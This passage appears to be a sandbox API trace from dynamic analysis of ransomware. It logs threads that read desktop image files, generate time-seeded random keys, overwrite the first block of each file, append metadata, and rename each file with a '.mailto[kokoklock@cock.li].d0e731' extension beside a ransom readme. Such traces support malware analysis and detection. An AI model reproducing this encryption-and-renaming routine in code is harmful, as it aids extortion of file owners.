lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x12d3fc08*=0x4096, lpOverlapped=0x0) returned 1 [0069.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.944] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x6e6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.944] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12d3fc40, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x12d3fc40*=0x20, lpOverlapped=0x0) returned 1 [0069.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.944] WriteFile (in: hFile=0x774, lpBuffer=0x342bde8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12d3fc54, lpOverlapped=0x0 | out: lpBuffer=0x342bde8*, lpNumberOfBytesWritten=0x12d3fc54*=0x8, lpOverlapped=0x0) returned 1 [0069.945] WriteFile (in: hFile=0x774, lpBuffer=0x12d3fc6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12d3fc54, lpOverlapped=0x0 | out: lpBuffer=0x12d3fc6c*, lpNumberOfBytesWritten=0x12d3fc54*=0x4, lpOverlapped=0x0) returned 1 [0069.945] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12d3fc54, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x12d3fc54*=0x4, lpOverlapped=0x0) returned 1 [0069.945] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12d3fc54, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x12d3fc54*=0x6c, lpOverlapped=0x0) returned 1 [0069.945] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12d3fc54, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x12d3fc54*=0x20, lpOverlapped=0x0) returned 1 [0069.945] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12d3fc54, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x12d3fc54*=0x4, lpOverlapped=0x0) returned 1 [0069.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bdc0) returned 1 [0069.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bde8) returned 1 [0069.945] CloseHandle (hObject=0x774) returned 1 [0070.921] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eaeb0 [0070.921] wcscpy (in: _Dest=0x33eaeb0, _Source="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp" [0070.921] wcscat (in: _Dest=0x33eaeb0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731" [0070.921] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\dhqna4njvwkx5.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dhqna4njvwkx5.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.976] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaeb0) returned 1 [0070.976] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp", dwFileAttributes=0x20) returned 0 [0070.976] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.976] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.976] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.976] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34821b8) returned 1 [0070.976] RtlExitUserThread (Status=0x1) Thread: id = 448 os_tid = 0x42c [0069.947] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\dtj2uqap.gif")) returned 0x20 [0069.947] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif", dwFileAttributes=0x20) returned 1 [0069.948] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\dtj2uqap.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.948] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x12dbfea8 | out: lpFileSize=0x12dbfea8*=85571) returned 1 [0069.948] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x14e3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.948] ReadFile (in: hFile=0x774, lpBuffer=0x12dbfe7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12dbfe78, lpOverlapped=0x0 | out: lpBuffer=0x12dbfe7c*, lpNumberOfBytesRead=0x12dbfe78*=0x4, lpOverlapped=0x0) returned 1 [0069.948] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.948] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.948] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.948] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bdc0 [0069.948] NtQuerySystemTime (in: CurrentTime=0x12dbfe54 | out: CurrentTime=0x12dbfe54*=132121176278379321) returned 0x0 [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x24eae43a [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0xe5639ed6 [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0xdbe735bd [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0xaad3927b [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x57f0ed58 [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x5c537e4f [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x1d7fbcf8 [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x1af57491 [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x55010d9 [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x175e2379 [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x205e0bc5 [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x4562449b [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0xd1a9abe8 [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x380ae4e1 [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x32c3986b [0069.948] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x19fa3ef5 [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x97ffb860 [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x6fc2f4e4 [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x269938cb [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x7e74123d [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x7de14eed [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0xfad1a443 [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0xcb768b0e [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x533a8860 [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0xe05d8789 [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x9cc72366 [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x5ea6be56 [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0xa2190fb7 [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x3eaab36 [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x9a03fc9d [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x41a77633 [0069.949] RtlRandom (in: Seed=0x12dbfe60 | out: Seed=0x12dbfe60) returned 0x347f7b76 [0069.960] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.960] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12dbfe2c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x12dbfe2c*=0x4096, lpOverlapped=0x0) returned 1 [0069.960] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be38 [0069.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be38) returned 1 [0069.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.961] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.961] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be38 [0069.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be38) returned 1 [0069.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.961] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12dbfe2c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x12dbfe2c*=0x4096, lpOverlapped=0x0) returned 1 [0069.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.961] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x14e43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.961] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12dbfe64, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x12dbfe64*=0x20, lpOverlapped=0x0) returned 1 [0069.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.961] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.961] WriteFile (in: hFile=0x774, lpBuffer=0x342be10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12dbfe78, lpOverlapped=0x0 | out: lpBuffer=0x342be10*, lpNumberOfBytesWritten=0x12dbfe78*=0x8, lpOverlapped=0x0) returned 1 [0069.961] WriteFile (in: hFile=0x774, lpBuffer=0x12dbfe90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12dbfe78, lpOverlapped=0x0 | out: lpBuffer=0x12dbfe90*, lpNumberOfBytesWritten=0x12dbfe78*=0x4, lpOverlapped=0x0) returned 1 [0069.961] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12dbfe78, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x12dbfe78*=0x4, lpOverlapped=0x0) returned 1 [0069.961] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12dbfe78, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x12dbfe78*=0x6c, lpOverlapped=0x0) returned 1 [0069.962] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12dbfe78, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x12dbfe78*=0x20, lpOverlapped=0x0) returned 1 [0069.962] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12dbfe78, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x12dbfe78*=0x4, lpOverlapped=0x0) returned 1 [0069.962] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.962] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bde8) returned 1 [0069.962] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.962] CloseHandle (hObject=0x774) returned 1 [0070.921] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347bf98 [0070.921] wcscpy (in: _Dest=0x347bf98, _Source="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif") returned="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif" [0070.921] wcscat (in: _Dest=0x347bf98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731" [0070.921] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\dtj2uqap.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dtj2uqap.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.974] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bf98) returned 1 [0070.975] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DTJ2uqAp.gif", dwFileAttributes=0x20) returned 0 [0070.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.975] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.975] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.975] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34308b8) returned 1 [0070.975] RtlExitUserThread (Status=0x1) Thread: id = 449 os_tid = 0x48c [0069.966] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\fbokzxbn1omw23qx.jpg")) returned 0x20 [0069.966] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg", dwFileAttributes=0x20) returned 1 [0069.966] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\fbokzxbn1omw23qx.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.966] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x12e3fdb8 | out: lpFileSize=0x12e3fdb8*=91014) returned 1 [0069.966] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x16382, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.966] ReadFile (in: hFile=0x774, lpBuffer=0x12e3fd8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12e3fd88, lpOverlapped=0x0 | out: lpBuffer=0x12e3fd8c*, lpNumberOfBytesRead=0x12e3fd88*=0x4, lpOverlapped=0x0) returned 1 [0069.967] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.967] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.967] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.967] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bde8 [0069.967] NtQuerySystemTime (in: CurrentTime=0x12e3fd64 | out: CurrentTime=0x12e3fd64*=132121176278535482) returned 0x0 [0069.967] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x9e87bc52 [0069.967] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x33c855f7 [0069.967] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x7fde5ab4 [0069.967] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x5d832f21 [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x72b817ef [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0xb9cccde4 [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0xf67011a1 [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x55745e27 [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0xc5cb76ec [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x2daf7cd0 [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x5051eca5 [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x2a048632 [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x3bf85955 [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0xa7972a0b [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x57754d3 [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x2e94e8f8 [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x186e7a26 [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x58de2b3f [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0xbf4925ab [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0xb1da4bbc [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x39bc5177 [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x23c1b18 [0069.968] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x53dc72e9 [0069.969] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x8a0c5607 [0069.969] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x74844761 [0069.969] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0xda47d688 [0069.969] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0xc14d9ae1 [0069.969] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x8538b34c [0069.969] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x5b8e3f51 [0069.969] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x40bcf225 [0069.969] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x8a31e8f [0069.969] RtlRandom (in: Seed=0x12e3fd70 | out: Seed=0x12e3fd70) returned 0x4949366f [0069.979] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.979] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12e3fd3c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x12e3fd3c*=0x4096, lpOverlapped=0x0) returned 1 [0069.980] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be60 [0069.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be60) returned 1 [0069.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.980] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be60 [0069.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be60) returned 1 [0069.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.980] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.980] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12e3fd3c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x12e3fd3c*=0x4096, lpOverlapped=0x0) returned 1 [0069.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.981] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x16386, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.981] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12e3fd74, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x12e3fd74*=0x20, lpOverlapped=0x0) returned 1 [0069.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.981] WriteFile (in: hFile=0x774, lpBuffer=0x342be38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12e3fd88, lpOverlapped=0x0 | out: lpBuffer=0x342be38*, lpNumberOfBytesWritten=0x12e3fd88*=0x8, lpOverlapped=0x0) returned 1 [0069.981] WriteFile (in: hFile=0x774, lpBuffer=0x12e3fda0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12e3fd88, lpOverlapped=0x0 | out: lpBuffer=0x12e3fda0*, lpNumberOfBytesWritten=0x12e3fd88*=0x4, lpOverlapped=0x0) returned 1 [0069.981] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12e3fd88, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x12e3fd88*=0x4, lpOverlapped=0x0) returned 1 [0069.981] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12e3fd88, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x12e3fd88*=0x6c, lpOverlapped=0x0) returned 1 [0069.981] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12e3fd88, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x12e3fd88*=0x20, lpOverlapped=0x0) returned 1 [0069.981] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12e3fd88, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x12e3fd88*=0x4, lpOverlapped=0x0) returned 1 [0069.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 